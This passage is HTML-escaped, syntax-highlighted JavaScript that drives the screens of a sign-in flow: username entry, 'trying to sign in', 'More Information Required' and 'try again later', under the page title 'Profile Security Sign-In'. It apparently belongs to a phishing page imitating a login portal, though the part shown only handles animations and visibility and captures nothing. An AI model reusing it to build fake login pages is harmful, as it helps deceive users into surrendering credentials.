class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.sectioncontent&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;animation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;show-from-right 0.5s&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;moreinforeq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;showwedidnthearpopup&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.title&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;More Information Required&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.loading-container&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;loading&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.sectioncontent&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;animation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;hide-to-left 0.5s&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toggle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#tryagainheader&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;display&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;block&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#tryagain_moreinfo&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;display&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;block&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.sectioncontent&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;animation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;show-from-right 0.5s&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// document.addEventListener(&quot;DOMContentLoaded&quot;, () =&amp;gt; {&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;twa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryingtosignin&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.loading-container&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;loading&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryingtosignin&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.sectioncontent&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;animation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;hide-to-left 0.5s&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;section_tryingtosignin&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toggle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sections_doc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sections_pdf&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Profile Security Sign-In&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;out2-logo&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;out2-logo&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;display&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;block&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_uname&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.sectioncontent&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;animation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;show-from-right 0.5s&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_uname&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
